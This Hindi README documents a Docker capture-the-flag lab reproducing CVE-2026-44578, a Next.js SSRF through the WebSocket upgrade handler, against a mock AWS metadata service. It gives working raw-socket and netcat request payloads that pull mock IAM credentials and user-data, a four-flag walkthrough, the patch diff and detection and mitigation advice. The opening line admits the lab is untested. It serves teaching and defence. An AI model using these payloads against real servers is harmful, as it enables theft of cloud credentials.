
यह लैब ठीक हो सकती है या गलत, यह परीक्षण में है लेकिन इसे काम करना चाहिए, AI से पूछो हाहाहा
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| प्रकार | SSRF (CWE-918) |
| प्रभावित संस्करण | Next.js 13.4.13 – 15.5.15 और 16.0.0 – 16.2.4 |
| पैच किए गए संस्करण | 15.5.16 और 16.2.5 |
| प्रमाणीकरण | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
हमलावर (host: 0.0.0.0)
│ HTTP :3000 (सार्वजनिक)
▼
┌──────────────────────────┐ समान नेटवर्क नेमस्पेस ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (क्रेडेंशियल, │
│ (एकीकृत Node सर्वर) │ │ user-data, इंडेक्स) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (पोर्ट 3000): भेद्य अनुप्रयोग, 0.0.0.0:3000 पर उजागर।imds-sidecar: AWS मेटाडेटा सेवा का मॉक जो Next.js कंटेनर के नेमस्पेस के अंदर localhost:80 पर रहता है, जो क्लाउड में वास्तविक इंस्टेंस का मॉडल बनाता है। यह होस्ट से सीधे पहुंच योग्य नहीं है (कोई प्रकाशित पोर्ट नहीं)। CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # स्वचालित PoC (5 प्रोब)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + गुप्त रूट
└── nextjs-app/ # यथार्थवादी ऐप "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (भेद्य)
router-server.ts में WebSocket upgrade हैंडलर proxyRequest() को कॉल करता है जब पार्स किया गया URI में parsedUrl.protocol होता है, बिना finished और statusCode फ्लैग की जाँच किए जो सामान्य HTTP हैंडलर हमेशा जारी करता था:
// भेद्य (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// पैच (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
हमले का मार्ग डबल-स्लैश वाले पूर्ण URI वाली request line का उपयोग करता है:
GET http:///path। normalizeRepeatedSlashes http:/// को http:/ में बदल देता है, जिससे hostname समाप्त हो जाता है, और http-proxy तब path को बरकरार रखते हुए localhost:80 से कनेक्ट होता है:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade + Upgrade: websocket हेडर की उपस्थिति के कारण अनुरोध सुरक्षा जाँच वाले HTTP हैंडलर के बजाय भेद्य upgrade हैंडलर में चला जाता है।
docker compose up -d --build
सत्यापित करें कि ऐप प्रतिक्रिया देता है:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
इसे 0.0.0.0 पर चालू रखने के लिए, docker-compose.yml में पोर्ट मैपिंग पहले से ही सभी इंटरफेस पर 3000:3000 उजागर करती है।
nc) का उपयोग करकेprintf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
4 चरणों में 100% मैन्युअल पूर्ण प्रवाह। आंतरिक सेवा (localhost:80) में 4 फ्लैग छिपे हैं; यह गाइड पहले तक का प्रवाह दिखाता है और बाकी खोजने के लिए रूट छोड़ देता है।
# सर्वर का फिंगरप्रिंट
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# सॉकेट के माध्यम से खुले पोर्ट (nmap के बिना)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
हमलावर से 127.0.0.1:80 तक सीधी पहुंच नहीं है: एकमात्र वेक्टर यह है कि Next.js सर्वर (जो आंतरिक सेवा के समान नेटवर्क में रहता है) हमारे लिए अनुरोध करे।
पहले हम मेटाडेटा सेवा के इंडेक्स के बारे में पूछकर SSRF की पुष्टि करते हैं:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
इंडेक्स की प्रतिक्रिया → उम्मीदवार: instance-id, hostname,
iam/security-credentials/, user-data (पहला फ्लैग)। latest/meta-data/ का इंडेक्स भी उप-कुंजियाँ प्रकट करता है जिन्हें आगे खोजना उचित है।
GET http:///latest/user-data HTTP/1.1
| भाग | कार्य |
|---|---|
GET | भेद्यता केवल GET को प्रॉक्सी करती है |
http:///latest/user-data | पूर्ण URI। http:/// http:/ में बदल जाता है → hostname null → प्रॉक्सी path /latest/user-data को बनाए रखते हुए localhost:80 से कनेक्ट होता है |
Host: 127.0.0.1:3000 | अन्यथा सर्वर 400 प्रतिक्रिया देता है |
Connection: Upgrade + Upgrade: websocket | अनुरोध को भेद्य upgrade हैंडलर की ओर मोड़ते हैं (सामान्य HTTP हैंडलर वास्तव में मान्य करता है) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | वैध हैंडशेक में आवश्यक न्यूनतम हेडर |
समाप्ति: रॉ सॉकेट पर \r\n\r\n (बिना बॉडी के)।
# विकल्प A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# विकल्प B: Python में रॉ सॉकेट (समान सटीकता, nc के बिना)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
आउटपुट — पहला फ्लैग आंतरिक सेवा की प्रतिक्रिया के बॉडी में आता है:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
फ्लैग 1/4 प्राप्त। server: BaseHTTP/0.6 ... (Python मॉक) हेडर पुष्टि करता है कि अनुरोध हमलावर → Next.js → localhost:80 तक गया, यानी फ्लैग SSRF द्वारा आंतरिक नेटवर्क से बाहर निकाला गया। अन्य 3 मेटाडेटा सेवा और आंतरिक सेवा के रूट में बिखरे हुए हैं — latest/meta-data/ का इंडेक्स आपका नक्शा है। बाकी खोजें।
Fake IMDS (localhost:80) वास्तविक AWS मेटाडेटा सेवा का मॉडल बनाता है: यह एक नेविगेट करने योग्य ट्री है। प्रत्येक निर्देशिका (/ पर समाप्त) अपनी उप-रूट के इंडेक्स के साथ प्रतिक्रिया करती है; बिना / के निर्देशिका मांगने पर 301 रीडायरेक्ट मिलता है। कोई छिपा हुआ रूट नहीं है: किसी भी फ्लैग के लिए अनुमान लगाने की आवश्यकता नहीं है — सब कुछ इंडेक्स नेविगेट करके खोजा जाता है।
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → बूट स्क्रिप्ट (internal/config की ओर संकेत)
| रूट | सामग्री |
|---|---|
latest/meta-data/ | मेटाडेटा इंडेक्स (ऊपर रेखांकित) |
latest/meta-data/iam/security-credentials/ | भूमिका lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | AccessKeyId, SecretAccessKey और Token के साथ JSON |
latest/user-data | DB क्रेडेंशियल के साथ बूट स्क्रिप्ट |
latest/dynamic/instance-identity/document | इंस्टेंस पहचान का JSON |
internal/config | आंतरिक सेवा का कॉन्फ़िग (DB, API key) — user-data द्वारा संदर्भित |
CTF चुनौती: 4 फ्लैग हैं, और प्रत्येक AWS के विरुद्ध SSRF शोषण श्रृंखला का एक वास्तविक आर्टिफैक्ट है: (1) बूट का user-data, (2) IAM क्रेडेंशियल, (3) identity document, (4) आंतरिक सेवा का कॉन्फ़िग। उनके मान प्रकाशित नहीं हैं। इंडेक्स नेविगेट करें (
/→latest/→ …) और बैनर से बैनर तक चलते रहें; user-data स्क्रिप्ट आपको बताती है कि चौथा कहाँ रहता है। रूट का अनुमान लगाने की आवश्यकता नहीं है: 404 केवल तब मिलता है जब आप ऐसा path बना रहे हैं जो मौजूद नहीं है।
फ्लैग→फ्लैग श्रृंखला का पूर्ण संस्करण अपने स्वयं के दस्तावेज़ में: SOLUCION.md (प्रत्येक फ्लैग आपको अगले का संकेत देता है, इस README के बाहर)।
नियम: प्रत्येक फ्लैग में एक संकेत, एक बाधा और समाधान होता है। पहले संकेत के साथ प्रयास करें; अटक जाने पर बाधा का उपयोग करें। कोई छिपा हुआ रूट नहीं है: कोई धोखा नहीं है, सब कुछ नेविगेट किया जाता है।
शुरू करने से पहले दो सूचनाएँ:
ssrf() हेल्पर पहले से तैयार है SOLUCION.md → तैयारी में: इसे कॉपी करें और बाकी गाइड के लिए उपयोग करें। यह Connection: Upgrade + Upgrade: websocket के साथ GET http:///<path> अनुरोध भेजता है।RkxBR3… ब्लॉब देखेंगे (FLAG{…} का base64)। उन्हें डिक्रिप्ट करें:
echo <blob> | base64 -d।/latest/user-data पर GET क्या लौटाता है? AWS में कोई भी हमलावर सबसे पहले यही जाँचता है।/ के साथ सूचीबद्ध होते हैं। ssrf latest/meta-data आपको 301 Moved Permanently और Location: latest/meta-data/ देता है। = "मेरा अनुसरण करें"। nc के साथ स्वचालित अनुसरण नहीं है: अनुरोध को स्लैश के साथ दोहराएँ।ssrf latest/user-data
बॉडी में: DB_PASS=… के साथ बूट स्क्रिप्ट (फ्लैग 1 वहीं है), और एक पंक्ति curl -s http://internal/config जो फ्लैग 4 का नक्शा है।
latest/meta-data/iam/security-credentials/ नेविगेट करें और दिखाई देने वाली भूमिका मांगें।Token भराव नहीं है): 200 एक लंबा JSON लाता है। AccessKeyId/SecretAccessKey आँखों में चमकते हैं; फ्लैग 2 वहाँ नहीं है: Token फ़ील्ड एक एकल base64 स्ट्रिंग है। इसे डिक्रिप्ट करें।ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ एकमात्र ट्री नहीं है। रूट इंडेक्स देखें: एक dynamic/ है जिसे लगभग कोई नहीं खोलता।dynamic/ → instance-identity/ → document। तीन सीढ़ियाँ हैं; प्रत्येक पर आपका ssrf / पर समाप्त होना चाहिए (document को छोड़कर)। लोग 301 के बाद पुनः अनुरोध न करने के कारण भटक जाते हैं।ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
पहचान JSON में FLAG कुंजी शामिल है जिसमें फ्लैग 3 (base64 में) है। यदि आपकी कमांड श्रृंखला दूसरी सीढ़ी पर 301 लौटाती है, तो बाधा 1 का पाठ याद रखें।
curl -s http://internal/config।internal हल नहीं होता। "internal" सर्वर की ओर का उपनाम है, आपका नहीं। आप होस्ट नहीं बदलते: SSRF हमेशा localhost:80 पर उतरता है; आप केवल path चुनते हैं।ssrf internal/config
सभी 4 का सत्यापन (base64 ब्लॉब → डिकोडेड):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 फ्लैग हाथ में। यदि किसी से FLAG{...} नहीं मिलता है, तो आप जानते हैं: user-data का curl जाँचें (फ्लैग 4 की बाधा) या इंडेक्स का / (फ्लैग 1 की बाधा)।
मैन्युअल उपयोग, उदाहरण के लिए IAM क्रेडेंशियल:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
अपेक्षित परिणाम — प्रतिक्रिया server: BaseHTTP/0.6 Python/3.12.x (मॉक) के साथ आती है, नहीं Next.js के बैनर के साथ, जो साबित करता है कि अनुरोध सर्वर द्वारा localhost:80 की ओर किया गया था:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
PoC SSRF की पुष्टि करता है लेकिन फ्लैग को सेंसर करता है: FLAG{...} के base64 ब्लॉब और स्पष्ट FLAG{...} को सेंसर किए गए पाठ के रूप में दिखाया जाता है। मान केवल मैन्युअल खोज (ऊपर CTF अनुभाग) द्वारा प्राप्त होते हैं।
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (एन्क्रिप्टेड फ्लैग: मैन्युअल शोषण) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (एन्क्रिप्टेड फ्लैग: मैन्युअल शोषण) ***
http:/// के सामान्यीकरण में hostname खो जाता है)।Upgrade: websocket को 400 के साथ अस्वीकार करता है)।यह पुष्टि करने के लिए कि पैच (Next.js ≥ 15.5.16) हमले को रोकता है, nextjs-app/package.json में संस्करण को 15.5.16 में बदलें, पुनर्निर्माण करें और समान पेलोड फिर से चलाएँ: कनेक्शन बिना डेटा लौटाए बंद हो जाता है।
Next.js प्रक्रिया के लॉग में हस्ताक्षर:
Failed to proxy http:/ — प्रॉक्सी चालू हुआ लेकिन गंतव्य अप्राप्य था।http: के साथ पूर्ण URI और Connection: Upgrade / Upgrade: websocket हेडर हैं।HttpTokens=required) लागू करें।if ($request_uri ~* "^https?://") { return 400; }